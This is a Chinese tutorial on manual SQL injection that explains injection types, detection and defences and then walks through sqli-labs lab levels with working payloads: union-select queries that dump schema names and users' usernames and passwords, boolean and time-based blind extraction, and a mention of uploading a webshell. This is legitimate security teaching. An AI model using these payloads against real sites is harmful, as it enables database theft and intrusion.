SQL注入 - 手工注入portswigger练习

什么是SQL注入?

SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。

两个条件:

  • 参数用户可控:用户能够控制数据的输入
  • 构造的参数可带入数据库并且被执行:原本要执行的sql语句拼接了用户的输入

SQL注入会发生在哪些地方?

以下是一些常见的SQL注入发生地点:

  1. 用户输入:这是最常见的SQL注入来源,包括一些表单字段如登录表单、搜索框、注册表单等。
  2. URL参数:通过修改URL的查询参数,攻击者可以尝试对数据库进行注入攻击。
  3. Cookie:Web应用程序会使用Cookie来存储用户会话信息,就可能被用来执行SQL注入。
  4. HTTP头部:有些Web应用程序可能会根据HTTP请求头部字段(如User-Agent、Referer等)中的信息来构建SQL查询。
  5. XML输入:有些Web应用程序会使用XML或其他进行数据交换,如果没有正确处理输入数据,就可能被用来执行SQL注入。

SQL注入的类型有哪些?

按照数据类型来分类

  1. 数字型注入

类似结构http://xxx.com/xxx.php?id=1这种形式,参数id类型为数字。

这一类的SQL语句原型大概为select * from table_name where id=1,如果存在注入,可以构造出类似下面的sql注入语句进行注入:

select * from table_name where id=1 or 1=1
  1. 字符型注入

类似结构http://xxx.com/xxx.php?name=admin这种形式,参数name类型为字符类型。

这一类的SQL语句原型大概为select * from table_name where name='admin',这里相比于数字型注入的sql语句多了引号,可以是单引号或者是双引号,可以构造出类似下面的sql注入语句进行注入:将后引号闭合

select * from table_name where name='admin' or 1=1'

按照数据提交的方式来分类:

  1. GET 注入

使用GET方式提交数据,注入点的位置在GET参数部分。

  1. POST 注入

使用POST方式提交数据,注入点位置在POST数据部分。

  1. Cookie 注入

HTTP请求的时候会带上客户端的Cookie, 注入点位置在Cookie当中的某个字段中。

  1. HTTP 头部注入

注入点在HTTP请求头部的某个字段中,例如Referrer字段。(严格的讲,Cookie其实应该也是算头部注入的一种形式)

按照执行效果来分类:

  1. 基于布尔的盲注

即可以根据返回页面判断条件真假的注入。

  1. 基于时间的盲注

即用条件语句查看时间延迟语句是否执行(即页面返回时间是否延长)来判断。

  1. 基于报错注入

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  1. 联合查询注入

可以使用union查询的情况下的注入。

  1. 堆查询注入

可以同时执行多条语句的执行时的注入。

  1. 宽字节注入

数据库编码与php编码设置为不同的两个编码,这样就可能会产生宽字节注入。


SQL注入点如何探测

在输入字段中尝试输入特殊的SQL字符,如果应用程序返回了数据库错误信息,或者异常,可能就意味着存在SQL注入漏洞。

只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:

  • 先加单引号'或双引号"等看是否报错,如果报错就有可能存在SQL注入漏洞。

  • 另外在URL后面加and 1=1and 1=2看页面是否显示一致,显示不一致的话,肯定存在SQL注入漏洞。

  • 还有就是利用盲注,通过观察数据库响应时间或者不同响应来推断查询的真假。


SQL注入的一般步骤

1. 注入点探测

  • 可控参数的改变是否可以影响页面的显示结果
  • 输入的sql语句能报错:通过数据库的报错,看到数据库的一些语句痕迹
  • 输入的sql语句不报错:语句能够成功闭合

2. 信息获取

  • 环境信息:数据库类型、数据库版本、操作性系统版本、用户信息等
  • 数据库信息:数据库名、数据库表、字段、字段内容

3. 权限获取

  • 编写webshell,上传木马,获取操作系统权限

SQL注入的防御

1. 采用预编译技术

例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);

使用预编译的SQL语句,SQL语句的语义是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给?,然后将?这个变量传给SQL语句。

2. 严格控制数据类型

强类型语言一般是不会存在数字型注入,因为在接受到用户输入id时,代码会做数据类型转换。但是没有强调处理数据类型的语言,一接收id的代码可能会是这样:

$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";

加入一个检查数字类型函数,php中的is_numeric()就可以有些防止数字型注入。

3. 对特殊的字符进行转义

在MySQL中对引号" '进行转义,这样可以防止一些恶意攻击者来闭合语句。

4. 使用存储过程

使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。(尽量避免在存储过程内使用动态的sql语句)


MySQL数据库注入常用的函数

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字符串

length():返回指定对象的长度

left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)

ascii():返回字符串str的最左字符的数值,ASCII()返回数值是从0到255

updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三个参数,报错位置在第二个参数(报错注入)

extractvalue(1,concat(0x7e,())):一共可以接收两个参数,报错位置在第二个参数(报错注入)

其他

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

MySQL注入实列

靶场环境:phpstudy本地搭建sqli-labs-php7(原版的sqli只支持php5,搭建过程可能会存在数据库连接失败的情况)
项目地址:https://github.com/skyblueee/sqli-labs-php7
注入工具:火狐浏览器配合hackbar

字符型注入

sqli-labs靶场第一题:/sqli-labs-php7-master/Less-1/

1. 注入点探测

先看页面是否有变化?

Split URL: ?id=1 and 1=1
Split URL: ?id=1 and 1=2

查看源代码可以很容易的得到sql是如何拼接的

拼接后的sql:select * from users where id='1 and 1=2' limt 0,1

页面没有变化,也没有报错,来判断一下是否为字符型注入?

Split URL: ?id=1'
拼接后的sql:select * from users where id='1'' limt 0,1

发现页面报错,告诉我们出现了语法错误,是因为单引号导致的,此题应该为字符型注入。

Split URL: ?id=1' and '1'='1
Split URL: ?id=1' --
拼接后的sql:select * from users where id='1'and '1'='1' limt 0,1

页面回显正常,确定为字符型注入。

-- 是sql语句中的一种注释,将前面的sql语句补充完整后,后面跟随注释将不会执行后面的注释。

2. 确定当前表有几列

为什么要确定表中字段的列数呢?

因为后面的union联合查询,使用order by来确定表中的列数。

联合查询特点:要求多条查询语句的查询列数是一致的。

Split URL: Split URL: ?id=1' order by 1 --
Split URL: Split URL: ?id=1' order by 2 --
Split URL: Split URL: ?id=1' order by 3 --
Split URL: Split URL: ?id=1' order by 4 --
拼接后的sql:select * from users where id='1' order by 4 -- limt 0,1

当尝试到order by 4根据第四列排序报错了,那么表中没有第四列,一共只有3列。

3. 判断那几列回显

用联合查询(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位。

Split URL: ?id=-1' union select 1,2,3 --
拼接后的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1

显示2,3, 那么就说明第2,3列可以回显。

可以回显了以后,就可以之前提到过的各种函数来查询我们需要的信息了。

4. 爆出数据库相关信息

Split URL: ?id=-1' union select 1,database(),version() --
拼接后的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1

知道了当前数据库是:security,版本信息:5.7.26。

5. 爆出当前数据库内的所有表名

Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --
拼接后的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema=database() -- limt 0,1

6. 爆出当前数据库user表的所有列名

Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 
and table_schema=database() --

7. 爆出当前数据库user表所有username和password

Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --

获得了所有的账号和密码。

8. 上传webshell


数字型注入

sqli-labs第二题:/sqli-labs-php7-master/Less-2/

有了上面的示例,接下来就简单很多了,只要找到注点,其他的大同小异。

1. 注入点探测

利用上面字符型的套路注入,都报错提示存在语法错误,说明原sql语句不需要闭合引号,排除了字符型注入。

Split URL: ?id=1 and 1=1 %23
Split URL: ?id=1 and 1=2 %23

%23同样表示注释,经过URL解码后是#

拼接后的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1

没有显示出内容,其实分析sql语句可以得知是where子句出错了,没有查询结果。

可以判断出是数字型注入。

2. 判断列数与回显情况

这里的判断方法与上面的方法如出一辙,判断出来有3列。

判断回显只用将id换为数字型即可,去掉引号:?id=-1 union select 1,database(),version() --

接下来的注入语句基本一样。

3. 爆出当前数据库的所有表名

Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1

4. 爆出当前数据库的users表的所有列名

Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() %23
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,1

5. 爆出当前数据库users表的所有username和password

Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1

布尔盲注

布尔盲注一般适用于页面没有回显字段,页面只返回True和False两种类型页面,利用页面返回不同,逐个猜解数据。

sqli-labs第五题:/sqli-labs-php7-master/Less-5/

1.判断注入点类型

Split URL: ?id=1
拼接后的sql:SELECT * FROM users WHERE id='1' LIMIT 0,1

返回页面正常。

Split URL: ?id=1'
拼接后的sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1

返回报错,可以判断出来时字符型注入,单引号注入。

2.判断当前数据库名的长度

布尔盲注一般适用于页面没有回显字段,所以我们无法直接获得内容,但可以知道页面返回是对还是错,通过一点一点修改注入的条件看是否成功,就可以间接得到一些信息。

我们尝试查询数据库名,length()得到它的长度,得到一个条件表达式,逐个尝试。

Split URL: ?id=1' and length((select database()))>0 %23
Split URL: ?id=1' and length((select database()))>1 %23
......
Split URL: ?id=1' and length((select database()))>8 %23

当尝试到大于8的时候,页面没有显示。

那么就试试等于8的时候,页面正常,那么and后面的条件为真,数据库名长度为8。

Split URL: ?id=1' and length((select database()))=8 %23

拼接后的sql:SELECT * FROM users WHERE id='1' and length((select database()))=8 #' LIMIT 0,1

盲注就是不断尝试,手工注入的时候就是比较繁琐的,熟悉了套路以后可是使用一些工具提高效率。

2.检测当前数据库名

拿到数据库名长度以后,可以尝试对每一个字符经行尝试,ascii字符最大就是256种可能。

substr()取除第一个字符,ascii()得到其ascii码,得到一个条件表达式,逐个尝试。

Split URL: ?id=1' and ascii(substr((select database()),1,1))=1 %23

当尝试到115时,页面显示正常了,那么说明第一个字符的ascii码就是115,对应字符为s

手工的一个一个尝试太耗时间,可是使用burp的intruder模块进行爆破,对右边的数字从0到255爆破。

payload选择数字0到255。

attack后,对Length排序后,发现一个特殊的包,payload是115,该字符的ascii就是115。

修改到下一个字符,重复操作,根据响应报文的Length不同,最终可以拿到如下8位ascii码(115 101 99 117 114 105 116 121)可得数据库名为:security

利用这种方法就可以爆出所有表名字符长度、所有字段名的长度等等。


时间盲注

时间盲注针对页面没有任何变化,和布尔盲注还是有不同的,我们可以通过浏览器页面的响应时间来判断。

借助sleep()函数来判断,if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1页面不延迟。

sqli-labs第九题:/sqli-labs-php7-master/Less-9/

1.判断注入类型

Split URL: ?id=1" and if(1=1,sleep(3),1)%23

页面不延迟

Split URL: ?id=1' and if(1=1,sleep(3),1)%23

页面延时了3秒,判断出是单引号注入。

2.判断数据库名长度

Split URL: ?id=1' and if(length((select database()))=8,sleep(3),1)%23

页面延时3秒,判断出是数据库名长8。

3.逐一判断数据库名字符

Split URL: ?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)%23

页面延时3秒,判断出是数据库名的一个字符的ascii码为115,以此类推。

掌握手工注入以后,就可以借助sqlmap等工具来完成。


若有错误,欢迎指正!o( ̄▽ ̄)ブ

热门相关:影帝偏要住我家   铁血大明   虎狼之师   懒散初唐   上古传人在都市